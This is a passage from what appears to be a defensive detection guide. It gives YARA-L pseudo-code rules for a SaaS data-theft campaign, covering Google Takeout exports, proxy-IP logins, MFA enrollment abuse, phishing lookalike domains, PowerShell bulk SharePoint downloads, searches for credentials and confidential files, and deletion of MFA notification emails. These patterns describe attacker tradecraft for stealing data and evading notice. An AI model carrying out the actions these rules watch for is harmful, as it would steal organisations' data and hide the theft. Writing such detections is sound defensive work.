    regex_match(lower($d.target.email.subject),
    "(security method enrolled|new sign-in|new device|mfa|authentication|verification)")
    $u = $d.principal.user.userid
    $t = $d.metadata.event_timestamp
    
    match:
    $u over 30m
    
    condition:
    $d and count($d) >= 2   // tighten: at least 2 in 30m; adjust if too strict
    }
    Google Takeout Export Initiated/Completed

    Detects Google Takeout export initiation/completion events.

    Why this is high-fidelity: Takeout exports are uncommon in corporate contexts; in this campaign they represent a direct data export path.

    Key signals

    • Takeout audit events (e.g., initiated, completed)

    • User, source IP/geo, volume

    Reference lists

    • TAKEOUT_ALLOWED_USERS (rare; HR offboarding workflows, legal export workflows)

    Pseudo-code (YARA-L)

    events:
    $start.metadata.vendor_name = "Google Workspace"
    $start.metadata.product_event_type = "gws.takeout.export.start"      
    $user = $start.principal.user.userid
    $job  = $start.target.resource.id   // if available; otherwise remove job join
    
    $done.metadata.vendor_name = "Google Workspace"
    $done.metadata.product_event_type  = "gws.takeout.export.complete"   
    $bytes = coalesce($done.target.file.size, $done.extensions.bytes_exported)
    
    match:
    // takeout can take hours; don't use 10m here, adjust accordingly
    $start.principal.user.userid = $done.principal.user.userid over 24h
    // if you have a job/export id, this makes it *much* cleaner
    $start.target.resource.id = $done.target.resource.id
    condition:
    $start and $done and
    $start.metadata.event_timestamp < $done.metadata.event_timestamp and
    $bytes >= 500000000   // 500MB start point; tune
    not ($u in %TAKEOUT_ALLOWED_USERS) // OPTIONAL: remove if you don't maintain it

    Cross-SaaS

    Attempted Logins from Known Campaign Proxy/IOC Networks

    Detects authentication attempts across SaaS/SSO providers originating from IPs/ASNs associated with the campaign.

    Why this is high-fidelity: These IPs and ASNs lack legitimate business overlap; matches indicate direct interaction between compromised credentials and known adversary-controlled infrastructure.

    Key signals

    • Authentication attempts across Okta / Salesforce / Workspace / Atlassian / DocuSign

    • principal.ip matches IOC IPs or ASN list

    Reference lists

    • SHINYHUNTERS_PROXY_IPS

    • VPN_TOR_ASNS

    Pseudo-code (YARA-L)

    events:
    $e.metadata.product_event_type in (
          "okta.login.attempt", "workday.sso.login.attempt",
          "gws.login.attempt",  "salesforce.login.attempt",
          "atlassian.login.attempt", "docusign.login.attempt"
        ) 
    (
          $e.principal.ip in %SHINYHUNTERS_PROXY_IPS or
          $e.principal.ip.asn in %VPN_TOR_ASNS
    )
    
    condition:
    $e
    Identity Activity Outside Normal Business Hours

    Detects identity events occurring outside normal business hours, focusing on high-risk actions (sign-ins, password reset, new MFA enrollment and/or device changes).

    Why this is high-fidelity: A strong indication of abnormal user behavior when also constrained to sensitive actions and users who rarely perform them.

    Key signals

    • User sign-ins, password resets, MFA enrollment, device registrations

    • Timestamp bucket: late evening / friday afternoon / weekends

    Pseudo-code (YARA-L)

    events:
    $e.metadata.vendor_name = "Okta"
    $e.metadata.product_event_type in ("okta.user.password.reset","okta.user.mfa.factor.activate","okta.user.mfa.factor.reset_all") // PLACEHOLDER
    outside_business_hours($e.metadata.event_timestamp, "America/New_York") 
    // Include the business hours your organization functions in
    $u = $e.principal.user.userid
    
    condition:
    $e
    Successful Sign-in From New Location and New MFA Method

    Detects a successful login that is simultaneously from a new geolocation and uses a newly registered MFA method.

    Why this is high-fidelity: This pattern represents a compound condition that aligns with MFA manipulation and unfamiliar access context.

    Key signals

    • Successful authentication

    • New geolocation compared to user baseline

    • New factor method compared to user baseline (or recent MFA enrollment)

    • Optional sequence: MFA enrollment occurs after login

    Pseudo-code (YARA-L)

    events:
    $login.metadata.vendor_name = "Okta"
    $login.metadata.product_event_type = "okta.login.success" 
    $u = $login.principal.user.userid
    $geo = $login.principal.location.country
    $t_l = $login.metadata.event_timestamp
    $m = $login.security_result.auth_method // if present; otherwise join to factor event
    
    condition:
    $login and
    first_seen_country_for_user($u, $geo) and
    first_seen_factor_for_user($u, $m)
    Multiple MFA Enrollments Across Different Users From the Same Source IP

    Detects the same source IP enrolling/changing MFA for multiple users in a short window.

    Why this is high-fidelity:This pattern mirrors a known social engineering tactic where threat actors manipulate help desk admins to enroll unauthorized devices into a victim’s MFA - spanning multiple users from the same source address

    Key signals

    • Okta MFA lifecycle events

    • Same src_ip

    • Distinct user count threshold

    • Tight window

    Pseudo-code (YARA-L)

    events:
    $m.metadata.vendor_name = "Okta"
    $m.metadata.product_event_type in ("<OKTA_MFA_ENROLL_EVENT>", "<OKTA_MFA_DEVICE_ENROLL_EVENT>") 
    $ip  = coalesce($m.principal.ip, $m.principal.asset.ip)
    $uid = $m.principal.user.userid
    
    match:
    $ip over 10m
    
    condition:
    count_distinct($uid) >= 3

    Network

    Web/DNS Access to Credential Harvesting, Portal Impersonation Domains

    Detects DNS queries or HTTP referrers matching brand and SSO/login keyword lookalike patterns.

    Why this is high-fidelity: Captures credential-harvesting infrastructure patterns when you have network telemetry.

    Key signals

    • DNS question name or HTTP referrer/URL

    • Regex match for brand + SSO keywords

    • Exclusions for your legitimate domains

    Reference lists

    • Allowlist (small) of legitimate domains (optional)

    Pseudo-code (YARA-L)

    events:
    $event.metadata.event_type in ("NETWORK_HTTP", "NETWORK_DNS")
    // pick ONE depending on which log source you're using most
    // DNS:
    $domain = lower($event.network.dns.questions.name)
    // If you’re using HTTP instead, swap the line above to:
    // $domain = lower($event.network.http.referring_url)
    
    condition:
    regex_match($domain, ".*(yourcompany(my|sso|internal|okta|access|azure|zendesk|support)|(my|sso|internal|okta|access|azure|zendesk|support)yourcompany).*"
    )
    and not regex_match($domain, ".*yourcompany\\.com.*")
    and not regex_match($domain, ".*okta\\.yourcompany\\.com.*")

    Microsoft 365

    M365 SharePoint/OneDrive: FileDownloaded with WindowsPowerShell User Agent

    Detects SharePoint/OneDrive downloads with PowerShell user-agent that exceed a byte threshold or count threshold within a short window.

    Why this is high-fidelity: PowerShell-driven SharePoint downloading and burst volume indicates scripted retrieval.

    Key signals

    • FileDownloaded/FileAccessed

    • User agent contains PowerShell

    • Bytes transferred OR number of downloads in window

    • Timestamp window (ordering implicit) and min<max check

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      (
        $e.target.application = "SharePoint" or
        $e.target.application = "OneDrive"
      )
      $e.metadata.product_event_type = /FileDownloaded|FileAccessed/
      $e.network.http.user_agent = /PowerShell/ nocase
      $user = $e.principal.user.userid
      $bytes = coalesce($e.target.file.size, $e.extensions.bytes_transferred) 
      $ts = $e.metadata.event_timestamp
    
    match:
      $user over 15m
    
    condition:
      // keep your PowerShell constraint AND require volume
      $e and (sum($bytes) >= 500000000 or count($e) >= 20) and min($ts) < max($ts)
    M365 SharePoint: High Volume Document FileAccessed Events

    Detects SharePoint document file access events that exceed a count threshold and minimum unique file types within a short window.

    Why this is high-fidelity: Burst volume may indicate scripted retrieval or usage of the Open-in-App feature within SharePoint.

    Key signals

    • FileAccessed

    • Filtering on common document file types (e.g., PDF) 

    • Number of downloads in window

    • Minimum unique file types

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.metadata.product_event_type = "FileAccessed"
      $e.target.application = "SharePoint"
      $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase)
      $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
      $session_id = $e.network.session_id
    
    match:
      $session_id over 5m
    
    outcome:
      $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
      $extension_count = count_distinct($file_extension_extract)
    
    condition:
      $e and $target_url_count >= 50 and $extension_count >= 3
    M365 SharePoint: High Volume Document FileDownloaded Events

    Detects SharePoint document file downloaded events that exceed a count threshold and minimum unique file types within a short window.

    Why this is high-fidelity: Burst volume may indicate scripted retrieval, which may also be generated by legitimate backup processes.

    Key signals

    • FileDownloaded

    • Filtering on common document file types (e.g., PDF) 

    • Number of downloads in window

    • Minimum unique file types

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.metadata.product_event_type = "FileDownloaded"
      $e.target.application = "SharePoint"
      $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase)
      $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
      $session_id = $e.network.session_id
    
    match:
      $session_id over 5m
    
    outcome:
      $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
      $extension_count = count_distinct($file_extension_extract)
    
    condition:
      $e and $target_url_count >= 50 and $extension_count >= 3
    M365 SharePoint: Query for Strings of Interest

    Detects SharePoint queries for files relating to strings of interest, such as sensitive documents, clear-text credentials, and proprietary information.

    Why this is high-fidelity: Multiple searches for strings of interest by a single account occurs infrequently. Generally, users will search for project or task specific strings rather than general labels (e.g., “confidential”).

    Key signals

    • SearchQueryPerformed

    • Filtering on strings commonly associated with sensitive or privileged information 

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.metadata.product_event_type = "SearchQueryPerformed"
      $e.target.application = "SharePoint"
      $e.additional.fields["search_query_text"] = /\bpoc\b|proposal|confidential|internal|salesforce|vpn/ nocase
    
    condition:
      $e
    M365 Exchange Deletion of MFA Modification Notification Email

    Detects deletion actions targeting Okta and other platform security notification emails (e.g., “Security method enrolled”).

    Why this is high-fidelity: Targeted deletion of security notifications can be intentional evasion and is not typically performed by email users.

    Key signals

    • M365 Exchange audit log delete/permanent delete (or mailbox cleanup) event

    • Subject matches a small set of security-notification strings

    • Time correlation: deletion shortly after receipt (optional)

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.target.application = "Exchange"
      $e.metadata.product_event_type = /^(SoftDelete|HardDelete|MoveToDeletedItems)$/ nocase
      $e.network.email.subject = /new\s+(mfa|multi-|factor|method|device|security)|\b2fa\b|\b2-Step\b|(factor|method|device|security|mfa)\s+(enroll|registered|added|change|verify|updated|activated|configured|setup)/ nocase
    
      // filtering specifically for new device registration strings
      $e.network.email.subject = /enroll|registered|added|change|verify|updated|activated|configured|setup/ nocase
    
      // tuning out new device logon events
      $e.network.email.subject != /(sign|log)(-|\s)?(in|on)/ nocase
    
    condition:
      $e
    •  
    ❌